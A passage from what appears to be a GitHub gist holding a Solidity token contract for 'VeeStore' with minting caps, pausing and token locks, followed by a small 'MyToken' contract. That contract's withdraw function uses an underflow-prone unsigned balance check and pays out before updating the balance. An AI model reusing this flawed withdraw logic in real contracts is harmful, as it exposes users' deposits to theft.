| * @param _amount The amount of tokens to mint. | |
| * @return A boolean that indicates if the operation was successful. | |
| */ | |
| function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { | |
| totalSupply = totalSupply.add(_amount); | |
| balances[_to] = balances[_to].add(_amount); | |
| emit Mint(_to, _amount); | |
| emit Transfer(address(0), _to, _amount); | |
| return true; | |
| } | |
| /** | |
| * @dev Function to stop minting new tokens. | |
| * @return True if the operation was successful. | |
| */ | |
| function finishMinting() onlyOwner canMint public returns (bool) { | |
| mintingFinished = true; | |
| emit MintFinished(); | |
| return true; | |
| } | |
| } | |
| /** | |
| * @title Capped token | |
| * @dev Mintable token with a token cap. | |
| */ | |
| contract CappedToken is MintableToken { | |
| uint256 public cap; | |
| constructor(uint256 _cap, uint _decimals) public { | |
| require(_cap > 0); | |
| cap = _cap * (10 ** _decimals); | |
| } | |
| /** | |
| * @dev Function to mint tokens | |
| * @param _to The address that will receive the minted tokens. | |
| * @param _amount The amount of tokens to mint. | |
| * @return A boolean that indicates if the operation was successful. | |
| */ | |
| function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { | |
| require(totalSupply.add(_amount) <= cap); | |
| return super.mint(_to, _amount); | |
| } | |
| } | |
| /** | |
| * @title Additioal token | |
| * @dev Mintable token with a token can be increased with proportion. | |
| */ | |
| contract AdditionalToken is MintableToken { | |
| uint256 public maxProportion; | |
| uint256 public lockedYears; | |
| uint256 public initTime; | |
| mapping(uint256 => uint256) public records; | |
| mapping(uint256 => uint256) public maxAmountPer; | |
| event MintRequest(uint256 _curTimes, uint256 _maxAmountPer, uint256 _curAmount); | |
| constructor(uint256 _maxProportion, uint256 _lockedYears) public { | |
| require(_maxProportion >= 0); | |
| require(_lockedYears >= 0); | |
| maxProportion = _maxProportion; | |
| lockedYears = _lockedYears; | |
| initTime = block.timestamp; | |
| } | |
| /** | |
| * @dev Function to Increase tokens | |
| * @param _to The address that will receive the minted tokens. | |
| * @param _amount The amount of the minted tokens. | |
| * @return A boolean that indicates if the operation was successful. | |
| */ | |
| function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { | |
| uint256 curTime = block.timestamp; | |
| uint256 curTimes = curTime.sub(initTime)/(31536000); | |
| require(curTimes >= lockedYears); | |
| uint256 _maxAmountPer; | |
| if(maxAmountPer[curTimes] == 0) { | |
| maxAmountPer[curTimes] = totalSupply.mul(maxProportion).div(100); | |
| } | |
| _maxAmountPer = maxAmountPer[curTimes]; | |
| require(records[curTimes].add(_amount) <= _maxAmountPer); | |
| records[curTimes] = records[curTimes].add(_amount); | |
| emit MintRequest(curTimes, _maxAmountPer, records[curTimes]); | |
| return(super.mint(_to, _amount)); | |
| } | |
| } | |
| /** | |
| * @title Pausable | |
| * @dev Base contract which allows children to implement an emergency stop mechanism. | |
| */ | |
| contract Pausable is Ownable { | |
| event Pause(); | |
| event Unpause(); | |
| bool public paused = false; | |
| /** | |
| * @dev Modifier to make a function callable only when the contract is not paused. | |
| */ | |
| modifier whenNotPaused() { | |
| require(!paused); | |
| _; | |
| } | |
| /** | |
| * @dev Modifier to make a function callable only when the contract is paused. | |
| */ | |
| modifier whenPaused() { | |
| require(paused); | |
| _; | |
| } | |
| /** | |
| * @dev called by the owner to pause, triggers stopped state | |
| */ | |
| function pause() onlyOwner whenNotPaused public { | |
| paused = true; | |
| emit Pause(); | |
| } | |
| /** | |
| * @dev called by the owner to unpause, returns to normal state | |
| */ | |
| function unpause() onlyOwner whenPaused public { | |
| paused = false; | |
| emit Unpause(); | |
| } | |
| } | |
| /** | |
| * @title Pausable token | |
| * @dev StandardToken modified with pausable transfers. | |
| **/ | |
| contract PausableToken is StandardToken, Pausable { | |
| function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { | |
| return super.transfer(_to, _value); | |
| } | |
| function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { | |
| return super.transferFrom(_from, _to, _value); | |
| } | |
| function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { | |
| return super.approve(_spender, _value); | |
| } | |
| function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { | |
| return super.increaseApproval(_spender, _addedValue); | |
| } | |
| function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { | |
| return super.decreaseApproval(_spender, _subtractedValue); | |
| } | |
| } | |
| /** | |
| * @title Token contract for VeeStore | |
| */ | |
| contract Token is AdditionalToken, PausableToken { | |
| using SafeMath for uint256; | |
| string public name; | |
| string public symbol; | |
| uint256 public decimals; | |
| bool public setLockFinished; | |
| struct lockToken { | |
| uint256 amount; | |
| uint256 validity; | |
| } | |
| mapping(address => lockToken[]) public locked; | |
| event Lock( | |
| address indexed _of, | |
| uint256 _amount, | |
| uint256 _validity | |
| ); | |
| function () payable public { | |
| revert(); | |
| } | |
| constructor (string _symbol, string _name, uint256 _decimals, uint256 _initSupply, | |
| uint256 _maxProportion, uint256 _lockedYears) AdditionalToken(_maxProportion, _lockedYears) public { | |
| name = _name; | |
| symbol = _symbol; | |
| decimals = _decimals; | |
| totalSupply = totalSupply.add(_initSupply * (10 ** decimals)); | |
| balances[msg.sender] = totalSupply; | |
| } | |
| function lock(address _address, uint256[] _time, uint256[] _amount) onlyOwner public returns(bool) { | |
| require(!setLockFinished); | |
| require(_time.length == _amount.length); | |
| if(locked[_address].length != 0) { | |
| locked[_address].length = 0; | |
| } | |
| uint256 len = _time.length; | |
| uint256 totalAmount = 0; | |
| for(uint256 i = 0; i<len; i++) { | |
| totalAmount = totalAmount.add(_amount[i]); | |
| } | |
| require(balances[_address] >= totalAmount); | |
| for(i = 0; i < len; i++) { | |
| locked[_address].push(lockToken(_amount[i], block.timestamp.add(_time[i]))); | |
| emit Lock(_address, _amount[i], block.timestamp.add(_time[i])); | |
| } | |
| return true; | |
| } | |
| function finishLock() onlyOwner public { | |
| setLockFinished = true; | |
| } | |
| /** | |
| * @dev Returns tokens locked for a specified address for a | |
| * specified purpose at a specified time | |
| * | |
| * @param _of The address whose tokens are locked | |
| * @param _time The timestamp to query the lock tokens for | |
| */ | |
| function tokensLocked(address _of, uint256 _time) | |
| public | |
| view | |
| returns (uint256 amount) | |
| { | |
| for(uint256 i = 0;i < locked[_of].length;i++) | |
| { | |
| if(locked[_of][i].validity>_time) | |
| amount += locked[_of][i].amount; | |
| } | |
| } | |
| /** | |
| * @dev Returns tokens available for transfer for a specified address | |
| * @param _of The address to query the the lock tokens of | |
| */ | |
| function transferableBalanceOf(address _of) | |
| public | |
| view | |
| returns (uint256 amount) | |
| { | |
| uint256 lockedAmount = 0; | |
| lockedAmount += tokensLocked(_of, block.timestamp); | |
| amount = balances[_of].sub(lockedAmount); | |
| } | |
| function transfer(address _to, uint256 _value) public returns (bool) { | |
| require(_value <= transferableBalanceOf(msg.sender)); | |
| return super.transfer(_to, _value); | |
| } | |
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { | |
| require(_value <= transferableBalanceOf(_from)); | |
| return super.transferFrom(_from, _to, _value); | |
| } | |
| function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { | |
| return ERC20(tokenAddress).transfer(owner, tokens); | |
| } | |
| } | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.10; | |
| contract MyToken { | |
| mapping (address => uint) balances; | |
| function balanceof(address _user) returns(uint) { return balances[_user];} | |
| function deposit() payable { balances[msg.sender] += msg.value; } | |
| function withdraw(uint _amount) { | |
| require(balances[msg.sender] - _amount >0); | |
| msg.sender.transfer(_amount); | |
| balances[msg.sender] -= _amount; | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment